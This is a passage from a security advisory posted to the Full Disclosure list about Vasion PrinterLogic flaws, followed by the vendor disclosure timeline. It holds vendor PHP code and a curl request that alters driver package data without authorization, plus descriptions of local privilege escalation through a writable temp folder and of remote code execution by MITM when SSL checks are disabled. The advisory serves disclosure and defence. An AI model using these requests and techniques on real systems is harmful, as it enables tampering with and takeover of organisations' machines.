 43         if(!$da->qry("SELECT ppp_driver_packages.id,inf_file, model_name, 
package_size, (
 44 SELECT sum( if(os_arch=32,1,0) ) 
 45 FROM ppp_drivers_os_support
 46 JOIN ppp_oses ON ( ppp_oses.id = ppp_drivers_os_support.os_id ) 
 47 WHERE driver_id = ppp_drivers.id
 48 ) AS x32, (
 49 
 50 SELECT sum( if(os_arch=64,1,0) ) 
 51 FROM ppp_drivers_os_support
 52 JOIN ppp_oses ON ( ppp_oses.id = ppp_drivers_os_support.os_id ) 
 53 WHERE driver_id = ppp_drivers.id
 54 ) AS x64
 55 FROM `ppp_driver_packages` 
 56 JOIN ppp_drivers ON ( driver_package_id = ppp_driver_packages.id ) 
 57 WHERE $package_needs_updating ")) {
 58           echo "Unable to retrieve update list: ".$da->last_error;
 59           return;
 60         }
 61     function q($s) {
 62         return '"'.str_replace('"','""',$s).'"';
 63     }
 64         $LE="\r\n";
 65         $rec=array();
 66         echo $da->result_count().$LE;
 67         while($da->next_row($rec)) {
 68           echo 
q($rec['id']).",".q($rec['inf_file']).",".q($rec['model_name']).",".q($rec['package_size']).",".q($rec['x32']).",".q($rec['x64']).$LE;
 69         }
 70 
 71   } else if($cmd=="getdriver") {           // [3]
 72 
 73         require_once(ABSPATH."lib/dao/driver_package_dao.php");
 74     $pdao=new driver_package_dao();
 75     $vo=new driver_package_vo();
 76     //we use this query here to avoid the need for the session variable and 
to add our where clause to make these routines generally do nothing and make no 
security hole
 77     $vo->id=requestint("package",-1);
 78         if(!$pdao->qry("select * from ppp_driver_packages left join 
ppp_driver_package_fragments on 
(ppp_driver_packages.id=ppp_driver_package_fragments.driver_package_id) where 
(id=$vo->id) and $package_need    s_updating order by 
driver_package_id,fragment"))
 79         {
 80                 echo $pdao->last_error;
 81                 return false;
 82         }
 83     if(!$pdao->next($vo)) {
 84         echo $pdao->last_error;
 85         return false;
 86     }
 87     header('Content-Length: '.$vo->int_package_size);
 88     flush();
 89         ini_set('max_execution_time','2400');
 90     $pdao->echo_blob($vo);
 91     return;
 92   } else if($cmd=="setversion") {                     // [4]
 93         $package_id=requestint("package",-1);         // [4]
 94         $dd=requeststr("driverdate","01/01/1980");    // [4]
 95         $dv=requeststr("driverversion","0.0.0.1");    // [4]
 96         $pp=requeststr("printprocessor","");          // [4]
 97         $da=new data_access();
 98         $da->allow_write();
 99         $da->audit_handled();
100         if(!$da->qry("update ppp_driver_packages set ".
101            "driver_date=".$da->qescape($dd).",".
102        "driver_version=".$da->qescape($dv).",".
103            "print_processor=".$da->qescape($pp)." where                     
                                                                                
                                    
104                 (id=$package_id) and $package_needs_updating                
                                                                                
                                    
105            ")) {                                                            
                                                                                
                                    
106                         echo "Unable to set package data: ".$da->last_error;
107                         return;
108            }
109         if($da->affected_rows()==0) { echo "The driver could not be found 
or has already been updated."; return; }
110         echo $da->affected_rows();
111 
112   } else { echo "Unknown Command"; }
113 
114 ?>
[/code]

Exemple of a request:

    kali% curl -v 
'http://10.105.0.60/lib/dao/driver_version_update.php?command=setversion&driverdate=01/01/2020&driverversion=1.1.1.1&package=3'
    *   Trying 10.105.0.60:80...
    * Connected to 10.105.0.60 (10.105.0.60) port 80
    > GET 
/lib/dao/driver_version_update.php?command=setversion&driverdate=01/01/2020&driverversion=1.1.1.1&package=3
 HTTP/1.1
    > Host: 10.105.0.60
    > User-Agent: curl/8.5.0
    > Accept: */*
    > 
    < HTTP/1.1 200 OK
    < Cache-Control: no-store, no-cache, must-revalidate
    < Cache-Control: post-check=0, pre-check=0
    < Content-Security-Policy: frame-ancestors 'self'
    < Content-Transfer-Encoding: binary
    < Content-Type: application/octet-stream
    < Date: Wed, 10 Jan 2024 12:00:38 GMT
    < Last-Modified: Wed, 10 Jan 2024 12:00:38 GMT
    < Pragma: no-cache
    < Server: nginx
    < X-Content-Type-Options: nosniff
    < X-Frame-Options: SAMEORIGIN
    < X-Xss-Protection: 1; mode=block
    < Transfer-Encoding: chunked
    < 
    * Connection #0 to host 10.105.0.60 left intact
    The driver could not be found or has already been updated.

An attacker can change information about any driver package.



## Vulnerabilities affecting the Windows client

### Identification of the solution

The version of the audited Windows PrinterLogic client is 21.1.0.658.



## Details - Local Privilege Escalation

It was observed that the installation of drivers is done insecurely by storing 
temporary files as `NT AUTHORITY\SYSTEM` inside the `C:\Windows\Temp\data` 
directory.

`C:\Windows\Temp\data` is a temporary directory that can be controlled by any 
user without admin privileges. Such directory cannot be trusted to store files 
that will be used by a program running as `NT AUTHORITY\SYSTEM`. Because of the 
insecure permissions, an attacker can replace any file with malicious ones in 
this directory or create a junction point from `C:\Windows\Temp\data` to 
anywhere in the file system.

Some files are created in the `C:\Windows\Temp\data` directory, as `NT 
AUTHORITY\SYSTEM` during the installation of drivers:

Windows Events

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

The package_8.dat file is blindly trusted while it can be replaced by a local 
attacker:

Windows Events

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Windows Events

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

This file comes from an insecure rename of 
`C:\Windows\Temp\data\package_8.dat.cpytmp`. The `package_8.dat.cpytmp` file is 
downloaded as `NT AUTHORITY\SYSTEM` from the SaaS instance while installing a 
new driver.

Windows Events

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Since the directory `C:\Windows\Temp\data` is controlled by any local user, an 
attacker can replace `package_8.dat.cpytmp` and `package_8.dat` with malicious 
files during the installation process.

These vulnerabilities are surprising because, after the creation of these 
files, the directory `C:\Windows\PPP_TEMP` is securely used to install drivers.

An attacker can get Local Privilege Escalation.



## Details - Insecure option allowing an attacker to get Remote Code Execution 
against any client

It was observed that the installation of the Windows PrinterLogic client inside 
organizations may enable an insecure option that will disable any SSL 
verification.

The Windows Registry Hive option `IgnoreCertificateFailures` can be set to `1` 
to ignore SSL verification. Since the access to 
`HKLM\SOFTWARE\PrinterLogic\PrinterInstaller\Overrides` requires admin 
privileges, it is more likely that admins will follow the official PrinterLogic 
documentation to disable SSL warnings.

Registry Hive

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

- From my experience, it appears that customers will follow the official 
PrinterLogic documentation at 
https://kb.printerlogic.com/s/article/Unable-to-upload-driver-Invalid-certificate
 and 
https://kb.printerlogic.com/s/article/Certificate-errors-in-client-log-but-no-certificate-errors-in-browser.

This documentation recommends either to:

- - Disable HTTPs and use HTTP instead; or
- - Disable any SSL verification - this insecure configuration allows an 
attacker to MITM the traffic and inject malicious drivers to remotely take over 
Windows machines using PrinterLogic.

https://kb.printerlogic.com/s/article/Unable-to-upload-driver-Invalid-certificate

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]


An attacker can get Remote Code Execution against Windows machines by MITM-ing 
the HTTPS traffic and injecting malicious drivers.

A local attacker can get Local Privilege Escalation by creating a junction 
point and injecting a DLL in the HTTPS traffic of the Windows client. The 
resulting DLL will be created anywhere in the filesystem as NT AUTHORITY\SYSTEM.

The official PrinterLogic documentation recommends disabling security controls.

It is recommended to use secure defaults, as recommended by the NSA: 
https://www.cisa.gov/sites/default/files/2023-10/Shifting-the-Balance-of-Cybersecurity-Risk-Principles-and-Approaches-for-Secure-by-Design-Software.pdf.



## Report Timeline

2021:

* Nov 2021: Security assessment performed on the PrinterLogic Windows client (a 
total of only 6 hours were allocated for this security assessment as 
PrinterLogic was not the main target of the security evaluation).
* Dec 2021: Security assessment performed on the PrinterLogic MacOS/Linux 
client (a total of 3 working days were allocated for this security assessment).
* Dec 2021: Reports sent to Vasion.

2022:

* Jan 21, 2022: Zoom meeting with Vasion.
* Feb 2022: Received access to a test SaaS instance of PrinterLogic.
* Feb 2022: Security assessment performed on the PrinterLogic Va/SaaS version 
(a total of 15 working days were allocated for this security assessment).
* Feb 17, 2022: Security assessment sent to Vasion.
* Feb 18, 2022: Vasion acknowledged the reception of the security assessment.
* Feb 28, 2022: Follow-up email sent to Vasion.
* Feb 28, 2022: Vasion confirmed they would analyze the report.
* Mar 3, 2022: Tested the latest macOS client (21.1.1.556) and confirmed that 2 
vulnerabilities were still present. Reached Vasion with my findings.
* Mar 3, 2022: Vasion acknowledged the reception of the updated analysis.
* Mar 8, 2022: Vasion confirmed the 2 vulnerabilities were by-design.
* May 9, 2022: Follow-up email sent to Vasion.
* May 9, 2022: Vasion confirmed they were working on the security patches.
* Jun 6, 2022: Tested the latest macOS client (25.1.0.574) and found bypasses 
in patched security vulnerabilities (LPE).
* Jun 16, 2022: Follow-up email sent to Vasion.
* Jun 17, 2022: Vasion confirmed that security patches for the MacOS clients 
were ongoing.
* Sep 8, 2022: Vasion confirmed they were working on the security patches.
* Oct 9, 2022: Asked Vasion to provide the current patch progress.
* Oct 15, 2022: Vasion confirmed that security patches for the Windows client 
were already deployed and that the Va/SaaS vulnerabilities would be worked on.
* Nov 9, 2022: Vasion provided additional information regarding security 
patches.
* Dec 6, 2022: Follow-up email sent to Vasion.

2023:

* Jan 10, 2023: Follow-up email sent to Vasion.
* Jan 11, 2023: Vasion asked to sign a NDA for the VA/SaaS version.
* Jan 13, 2023: Confirmed to Vasion that previous bypasses in patched security 
vulnerabilities in the MacOS client still worked.
* Jan 14, 2023: Vasion confirmed they would check the MacOS vulnerabilities.
* Jan 16, 2023: Vasion asked to sign a NDA for the VA/SaaS version.
* Jan 19, 2023: Vasion confirmed that security patches for MacOS vulnerabilties 
were on-going.
* Feb 1, 2023: Vasion confirmed that information regarding reported 
vulnerabilities in the VA/SaaS version would be provided only if a NDA is 
signed.
* Feb 15, 2023: Vasion asked if the NDA was signed.
* Mar 22, 2023: Confirmed to Vasion that a NDA could not be signed.
* Mar 22, 2023: Vasion confirmed that they were reviewing the vulnerabilities 
and provided a listing of the vulnerabilities with the current progress.
* Mar 22, 2023: Asked Vasion about the status of the vulnerabilities since 22 
vulnerabilities were missing.
* Mar 22, 2023: Vasion provided a CSV file listing the status of the 
vulnerabilities.
* Mar 28, 2023: Vasion confirmed that tickets had been created for each 
vulnerability.
* Apr 4, 2023: Follow-up email sent to Vasion regarding 2 missing 
vulnerabilities in CSV file.
* May 10, 2023: Vasion confirmed that 1 issue was by-design and another was not 
exploitable.
* May 11, 2023: Sent a remote exploit for the unexploitable vulnerability to 
Vasion.
* May 11, 2023: Received an email from Vasion stating that a specific 
vulnerability was fixed.
* May 11, 2023: Asked Vasion for diff files so I could check if vulnerabilities 
were fixed.
* May 13, 2023: Vasion confirmed that 2 previous vulnerabilities were 
exploitable and were going to be fixed.
* May 24, 2023: Vasions provided bullet lists of updated files without details.
* Jun 1, 2023: Vasion confirmed that no diff files could be shared with 
customers because of Intellectual Property and asked me do to a dynamic 
analysis instead to verify whether the vulnerabilities were patched.
* Jun 6, 2023: Vasion considered the previous vulnerability as fixed.
* Jul 26, 2023: Vasion said that a specific vulnerability was still under 
review.
* Oct 31, 2023: Follow-up email sent to Vasion.
* Dec 15, 2023: Follow-up email sent to Vasion.

2024:

* Jan 2024: Security assessment performed on the PrinterLogic Va/SaaS version 
(a total of 15 working days were allocated for this security assessment).
* Jan 29, 2024: Sent a new security assessment to Vasion.
* Jan 30, 2024: Vasion acknowledged the reception of the security assessment.
* Feb 14, 2024: Vasion shared the analysis of the vulnerabilities reported in 
2022 and 2024.
* Feb 16, 2024: Asked Vasion on the remedation action schedule.
* Apr 2, 2024: Asked Vasion when security patches would be available.
* Apr 2, 2024: Vasion confirmed that 4 vulnerabilities were fixed and said that 
they could not provide an action schedule.
* Sep 20, 2024: Sent an email to Vasion saying that I would publish a security 
advisory with all the reported vulnerabilities.
* Sep 24, 2024: Vasion confirmed that all but 2 of the vulnerabilities reported 
in 2022 were fixed and that 13 vulnerabilities reported in 2024 were not yet 
fixed.
* Sep 27, 2024: Follow-up email from Vasion.
* Oct 2, 2024: Asked Vasion for a clear timeline for security patches and if 
they could provide security patches before the end of the year.
* Oct 5, 2024: Vasion confirmed they could fix all the vulnerabilities before 
the end of the year.
* Oct 9, 2024: Confirmed that I would publish a technical advisory in early 
2025 and asked Vasion to keep me updated on the progress of the security 
patches.
* Oct 10, 2024: Vasion confirmed they would regularly provide updates.
* Oct 19, 2024: Vasion provided updates with current status.
* Oct 21, 2024: Confirmed reception of the updates.
* Nov 2, 2024: Vasion provided updates with current status.
* Nov 5, 2024: Confirmed reception of the updates.
* Nov 19, 2024: Vasion provided updates with current status.
* Dec 17, 2024: Vasion provided updates with current status.
* Dec 17, 2024: Confirmed reception of the updates showing that most of the 
vulnerabilites were fixed. Asked when security bulletins would be available.
* Dec 17, 2024: Vasion said they would let me know when the security advisories 
would be published and asked me how I would like to be credited.
* Dec 18, 2024: Asked Vasion to credit me ("Pierre Barre").
* Dec 18, 2024: Vasion confirmed that the bulletins would be published on the 
week of Jan 20th.
* Dec 21, 2024: Vasion asked me if January is fine for me.

2025:

* Jan 2, 2025: Follow-up email from Vasion.
* Jan 13, 2025: I confirmed that I planned to release a security advisory in 
February but since there were many technical details, it would take some time 
to work on the public security advisory. I also confirmed it would be fine for 
Vasion to release security bulletins on January 20th and then I would release 
security advisories later.
* Jan 17, 2025: Vasion confirmed security bulletins were published.
* Jan 20, 2025: Asked Vasion about (i) missing vulnerabilities in MacOS and 
Windows clients and (ii) CVEs.
* Jan 22, 2025: Vasion sent (i) a corresponding list of security bulletins with 
the reported vulnerabilities, (ii) a list of vulnerabilities considered as 
features, and (iii) the confirmation that they submitted multiple requests to 
MITRE.
* Feb 11, 2025: Replied to Vasion that I would edit the security advisory to 
remove some likely unexploitable vulnerabilities and issues considered as 
features.
* Feb 13, 2025: Asked Vasion if they would want me to reach JPCERT to get CVEs 
since MITRE did not reply.
* Feb 21, 2025: Follow-up email sent to Vasion.
* Feb 21, 2025: Vasion confirmed it would be fine to reach JPCERT.
* Feb 28, 2025: Reached JPCERT to get CVEs with Vasion CC-ed.
* Mar 1, 2025: Reached Vasion regarding missing vulnerabilities in the Vasion 
security bulletins.
* Mar 3, 2025: JPCERT said they would reach MITRE to understand why CVEs were 
not assigned.
* Mar 3, 2025: Acknowledged the decision of JPCERT.
* Mar 3, 2025: Vasion confirmed that all the reported vulnerabilities would 
have security bulletins.
* Mar 6, 2025: Vasion provided another webpage listing additional security 
bulletins in Vasion Print.
* Mar 6, 2025: JPCERT confirmed that some CVEs were assigned thanks to MITRE.
* Mar 7, 2025: Email sent to Vasion providing CVEs and indicating that only 33 
CVE IDs matched the vulnerabilities I reported.
* Mar 10, 2025: Email sent to MITRE regarding missing CVEs.
* Mar 12, 2025: Vasion provided a new Excel file with 7 findings needing 
bulletins, 3 unresolved findings and 12 disputed findings. The 12 disputed 
findings had corresponding explanations.
* Mar 12, 2025: I provided my analysis to Vasion on the disputed findings, 
where I agreed on 3 issues being no security vulnerabilities and I disagreed on 
9 issues incorrectly being considered as "features requests".
* Mar 14, 2025: Follow-up email sent to MITRE.
* Mar 18, 2025: Vasion provided the final analysis on the disputed findings.
* Apr 8, 2025: A security advisory is published.
* Sep and Oct 2025: Vulncheck assigns missing CVEs.
* Nov 11, 2025: An updated security advisory is published.



## Credits

These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html

https://pierrekim.github.io/advisories/2025-vasion-printerlogic.txt

https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm

https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

The source code snippets in this security advisory are the intellectual 
property of Vasion and
used to explain the root causes of the vulnerabilities.

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEoSgI9MSrzxDXWrmCxD4O2n2TLbwFAmkTQ/4ACgkQxD4O2n2T
LbzFAhAAmQV2j4USc/9oKLkFg41SJ6hktLj21GULHm3z+oEy0EDJRlMxcYruAYZV
qiYwSDk1ZdTCFKSjo0dc5R2RSHXNJU5yM0t+aGvTPCD1SoabBHQ5jp79uWu7SwkU
YD6DkgEnXvvGXL6GNjrKqX8VxKx4A2pwZw/QMufjhcbe2z9Y5J3CqLvaBhVNhwdz
RVOzLS4yPfUIJkNrKU3g/3S9xcsyNRrMxTnuw3O2878ZnoRRksx59bmsMT7nGvj4
JOPP4KnBqfOQ9lNKLnfbqyddj56Ikm6rkjJYig/PaXV9TNvHm1wxuM4tMiLtQ+hx
2WbzX2aLF1JcBeIw+EPP9QqXAymx9tb7ZEBuH+bboO/grJ5zDE6lunt0UaX2mGEM
0c3rHcf8FY88BxBiX76s1R6a0tQYReqIL4r7P/m5WdWwmPd2WmewGBjtM4UzyaHK
W/Mj1gWi5gpAh4eEUcI0HVQ7kRtZGpjBQJHgw4/b7A5NjF80Ud3MJ8AyJHKAGXOj
UV1I69DaHu/LOMo9UtOBsqCwko/9KOI8aHL8s5aPjk/Lujqb5wmgNA5pwdkaUB5d
5eqwe2Y733fSCwSKyiVvh7lc2Ru9K3oD6ezWh+6Vw0q57dRyj8xoGCnh78ryxD/a
i8M9gtqdvmvxU8O4cAKs+nISejBt95jIPBAEP9TDTM9OR/FQs/U=
=bwNP
-----END PGP SIGNATURE-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/